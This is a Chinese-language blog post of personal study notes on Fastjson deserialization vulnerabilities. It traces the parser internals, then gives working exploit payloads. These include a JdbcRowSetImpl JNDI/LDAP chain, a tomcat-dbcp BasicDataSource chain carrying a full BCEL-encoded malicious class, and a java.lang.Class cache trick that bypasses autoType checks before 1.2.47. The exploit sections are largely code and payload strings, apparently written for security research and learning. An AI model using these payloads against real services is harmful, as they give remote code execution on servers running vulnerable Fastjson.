玩命加载中 . . .

Fastjson漏洞学习笔记


流程分析

Fastjson的核心目的将json格式数据转换为对象。

1.1 基础使用

将json数据转换为jsonObject,可以更加方便的获取

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class StudentSerialize {
  public static void main(String[] args) {
    String a = "{\"age\":123456,\"name\":\"test\"}";
    JSONObject parse = JSON.parseObject(a);
    System.out.println(parse.getString("age"));
    System.out.println(parse.getString("name"));
  }
}

将json转换为指定对象

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class StudentSerialize {
    public static void main(String[] args) {
        String a = "{\"age\":123456,\"name\":\"test\"}";
        Student student = JSON.parseObject(a, Student.class);
        System.out.println(student.getAge());
    }
}

upload successful
支持@type在json数据中指定反序列化的类名称,调用不同的类代码

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class StudentSerialize {
    public static void main(String[] args) {
        Student student = new Student();
        student.setName("test");
        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString);

        String a = "{\"@type\":\"org.example.Student\",\"age\":0,\"name\":\"test\"}";
        JSONObject jsonObject = JSON.parseObject(a);
        System.out.println(jsonObject);
    }
}

upload successful

1.2 流程

upload successful

upload successful

getDeserializer

根据各种条件选择合适的反序列化器,1.2.24也有一个黑名单,是禁止线程相关类

upload successful

upload successful
根据class的类型,来设置asm是否为false,比如必须是public

upload successful
JavaBeanInfo.build获取beanInfo 根据beanInfo来配置asmEnable

upload successful
最后根据asmEnable的值来确定使用那个反序列器

upload successful
由于FastjsonASM无法调试,还是得想办法设置asmEnable为false
https://blog.csdn.net/qq_45854465/article/details/120960671

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class StudentSerialize {
    public static void main(String[] args) {
        Student student = new Student();
        student.setName("test");
        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
        boolean flag;
        flag = false;
        ParserConfig config = ParserConfig.getGlobalInstance();
        config.setAsmEnable(flag);
        String a = "{\"@type\":\"org.example.Student\",\"age\":0,\"name\":\"test\"}";
        JSONObject jsonObject = JSON.parseObject(a);
        System.out.println(jsonObject);
    }
}
deserializer.deserialze

upload successful

upload successful
根据遍历的fieldValue
upload successful

upload successful

upload successful

upload successful
get方法调用位置,反序列对象后又json

upload successful

upload successful

测试
    public void setName(String name) throws IOException {
        System.out.println("setName");
        Runtime.getRuntime().exec(name);
        this.name = name;
    }

upload successful

upload successful

2.JdbcRowSetImpl 的利用链(fastjson1.2.24)

jdbcRowSetImpl是比较常用的链,利用点是一个jndi注入

upload successful
先看下变量是否可控,发现下面就是set方法

upload successful
然后就看怎么才能调用这个connect()方法,findUsages一下

upload successful
有限看set方法因为set方法在get前调用,上面分析过

upload successful
这个方法也很简单,也满足上面分析javabeaninfo的要求,直接调用即可。

set开头的方法要求如下:
    方法名长度大于4且以set开头,且第四个字母要是大写
    非静态方法
    返回类型为void或当前类
    参数个数为1个
    寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名。再去跟这个类的属性去比对
    有没有这个名称的属性。
    如果没有这个属性并且这个set方法的输入是一个布尔型,会重新给属性名前面加上is,再取头两个字
    符,第一个字符为大写(即isNa),去寻找这个属性名。
get开头的方法要求如下:
    方法名长度大于等于4
    非静态方法
    以get开头且第4个字母为大写
    无传入参数
    返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

综合需要调用两个set方法setAutoCommit和setDataSourceName

        String a = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/mctYqCBt\",\"autoCommit\":false}";
        JSONObject jsonObject = JSON.parseObject(a);

upload successful
缺点:1.因为用的JNDI注入,受JDK版本限制 2.要能出网,不然无法加载远程类

3.com.sun.org.apache.bcel.internal.util利用链(fastjson1.2.24 不出网)

使用的依赖

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.20</version>
        </dependency>

upload successful
触发位置

upload successful
先测试一下

package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.*;

public class BcelSerialize {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));
        String encode = Utility.encode(bytes, true);
        classLoader.loadClass("$$BCEL$$"+encode).newInstance();

    }
    //将文件转为字节码数组
    /**
     * 把一个文件转化为byte字节数组。
     *
     * @return
     */
    public static byte[] fileConvertToByteArray(File file) {
        byte[] data = null;

        try {
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            int len;
            byte[] buffer = new byte[1024];
            while ((len = fis.read(buffer)) != -1) {
                baos.write(buffer, 0, len);
            }

            data = baos.toByteArray();

            fis.close();
            baos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return data;
    }
}

upload successful
encode原因存在decode操作

upload successful
下一步找的如何调用loadClass,大佬们找的这个类。

upload successful
这个类里面调用class.forName,如果driverClassName driverClassLoade可控,传入com.sun.org.apache.bcel.internal.util就能调用其loadClass()方法。这里是加载器的知识可以查一下相关知识。
发现均有set方法

upload successful

upload successful
就是找哪里调用了createConnectionFactory()

upload successful
找的get方法调用createDataSource(),此get方法满足Fastjson在jsonobject时调用get方法的规则。

upload successful
直接构造即可

package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

import java.io.*;
import java.sql.SQLException;

public class BcelSerialize {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));
        String encode = Utility.encode(bytes, true);
//        classLoader.loadClass("$$BCEL$$"+encode).newInstance();

        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassName("$$BCEL$$"+encode);
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.getConnection();

    }
    //将文件转为字节码数组
    /**
     * 把一个文件转化为byte字节数组。
     *
     * @return
     */
    public static byte[] fileConvertToByteArray(File file) {
        byte[] data = null;

        try {
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            int len;
            byte[] buffer = new byte[1024];
            while ((len = fis.read(buffer)) != -1) {
                baos.write(buffer, 0, len);
            }

            data = baos.toByteArray();

            fis.close();
            baos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return data;
    }
}

upload successful
测试一下fastjson反序列化

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

import java.io.*;
import java.sql.SQLException;

public class BcelSerialize {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
//        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = fileConvertToByteArray(new File("D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"));
        String encode = Utility.encode(bytes, true);
//        classLoader.loadClass("$$BCEL$$"+encode).newInstance();

//        BasicDataSource basicDataSource = new BasicDataSource();
//        basicDataSource.setDriverClassName("$$BCEL$$" + encode);
//        basicDataSource.setDriverClassLoader(classLoader);
//        basicDataSource.getConnection();
        String DriverClassName = "$$BCEL$$" + encode;
        String a = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"" + DriverClassName + "\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        System.out.println(a);
        JSONObject jsonObject = JSON.parseObject(a);

    }
    //将文件转为字节码数组

    /**
     * 把一个文件转化为byte字节数组。
     *
     * @return
     */
    public static byte[] fileConvertToByteArray(File file) {
        byte[] data = null;

        try {
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();

            int len;
            byte[] buffer = new byte[1024];
            while ((len = fis.read(buffer)) != -1) {
                baos.write(buffer, 0, len);
            }

            data = baos.toByteArray();

            fis.close();
            baos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return data;
    }
}
{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","DriverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$3dO$CA$Q$7d$L$c8r$e7$a9$f8$B$o$7ek$nXx$8d$j$c4$c6$60$p$7eD$88$c6rY7$b8x$dc$91$f3P$fe$91$b5$8d$gM$b4$f7G$Zg$_$GI$d8bg$e7$cd$7bo$s$b3$df$3f$ef$9f$A$f6$b1m$c3$c2$bc$8d$F$e42$c8$9b$b8$c8Q$e0X$b2$91F$91c$99c$85$n$5d$d5$be$8e$O$Y$92$a5$f2$rC$ea0$b8Q$M3u$ed$ab$d3$7e$b7$a5$c2$a6hy$84d$aa$d2$fbcN5$o$n$efND$_$$$91$t$83$dd$I$fa$a1TG$daP$ad$da$83$f6$f6$3a$e2A8$b01$c9$b1$ea$60$N$ebd$$$85$t$jl$60$93a$de$d4$5dO$f8m$b76$90$aa$X$e9$c0g$u$fe$a3$X$7d$3f$d2$5d5$y$g$af$z$86l$Q$b6$5d5$Q$dd$9e$a7$5c$d3$88$a0$7f$d1Y$ab$a3d$c40$3b$e6C3$b6U4Lr$a5r$7d$8cS$a1$R$d5$40I$86$9d$d2H$b5$R$85$daoWF$F$e7a$m$d5$fd$3d$J$K$a3$cc$e6m$Y$3c$9a$a5T$ca$97$d8D$86$3e$c0$9c$E$98Y$E$dd$Oe$ab$U$Z$c5$89$ddW$b0gz$d0F$e9N$c7$60$92D$d3Cj$93r$83$$$be$n1$97$7cA$ea$ea$JS$c7$lH_$93$96$7f$3d$c7E$8b$a8$T$d4$c3$98$e4$e9e$ac$ac$Y$e5$84$d1$d7S$ef$ZB9$Su$8e$acE$a2$d9x$a8$b9_$Do$M$df$x$C$A$A","DriverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}

upload successful

4.fastjson<1.2.47绕过

使用fastjson 1.2.25测试之前payload,发现有个autoType错误

upload successful
调试对比发现多了config.checkAutoType

upload successful
看下checkAutoType的流程

upload successful
大佬们的绕过思路是缓存直接返回
看下怎么给恶意类先加载到map里,查找map.set,发现loadClass中有,也就是加载后会写到map里!
upload successful
继续查找loadClass的调用位置

upload successful

upload successful
发现MiscCodec是一个反序列化器,查看fastjson,其实初始化时使用的到这个反序列器的

upload successful
所以可以用此方法将恶意类加载到map里,绕过checkAuto限制
看下加载条件,值为var

upload successful
构造

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class StudentSerialize {
    public static void main(String[] args) {
        String a = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/kurnxDiX\",\"autoCommit\":false}}";
        JSONObject jsonObject = JSON.parseObject(a);
    }
}

upload successful
同理构造bcel,本地没成功,搭建了tomcat环境才成功的

{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$3dO$CA$Q$7d$L$c8r$e7$a9$f8$B$o$7ek$nXx$8d$j$c4$c6$60$p$7eD$88$c6rY7$b8x$dc$91$f3P$fe$91$b5$8d$gM$b4$f7G$Zg$_$GI$d8bg$e7$cd$7bo$s$b3$df$3f$ef$9f$A$f6$b1m$c3$c2$bc$8d$F$e42$c8$9b$b8$c8Q$e0X$b2$91F$91c$99c$85$n$5d$d5$be$8e$O$Y$92$a5$f2$rC$ea0$b8Q$M3u$ed$ab$d3$7e$b7$a5$c2$a6hy$84d$aa$d2$fbcN5$o$n$efND$_$$$91$t$83$dd$I$fa$a1TG$daP$ad$da$83$f6$f6$3a$e2A8$b01$c9$b1$ea$60$N$ebd$$$85$t$jl$60$93a$de$d4$5dO$f8m$b76$90$aa$X$e9$c0g$u$fe$a3$X$7d$3f$d2$5d5$y$g$af$z$86l$Q$b6$5d5$Q$dd$9e$a7$5c$d3$88$a0$7f$d1Y$ab$a3d$c40$3b$e6C3$b6U4Lr$a5r$7d$8cS$a1$R$d5$40I$86$9d$d2H$b5$R$85$daoWF$F$e7a$m$d5$fd$3d$J$K$a3$cc$e6m$Y$3c$9a$a5T$ca$97$d8D$86$3e$c0$9c$E$98Y$E$dd$Oe$ab$U$Z$c5$89$ddW$b0gz$d0F$e9N$c7$60$92D$d3Cj$93r$83$$$be$n1$97$7cA$ea$ea$JS$c7$lH_$93$96$7f$3d$c7E$8b$a8$T$d4$c3$98$e4$e9e$ac$ac$Y$e5$84$d1$d7S$ef$ZB9$Su$8e$acE$a2$d9x$a8$b9_$Do$M$df$x$C$A$A"
            }
        } : "xxx"
    }
}

upload successful
本地没成功奇怪,调试了一下发现加载了 com.sun.org.apache.bcel.internal.util.ClassLoader但是在构造javabean的时候,class有值了,会走黑白名单。

upload successful

upload successful

upload successful
不过起tomcat环境成功了,不理解,以后再说吧

upload successful


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 上一篇
log4j2漏洞学习笔记 log4j2漏洞学习笔记
环境搭建maven环境 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2024-02-27
下一篇 
无线安全测试指南 无线安全测试指南
前言本文介绍了无线安全评估的测试方向和测试方法,并采用公司部门常有的wifipineapple设备做测试工具。通过本文的阅读可以学习到wifipineapple更深层的网卡操作,且可作为日常无线安全评估的测试参考。 wifipineappl
2023-12-10
  目录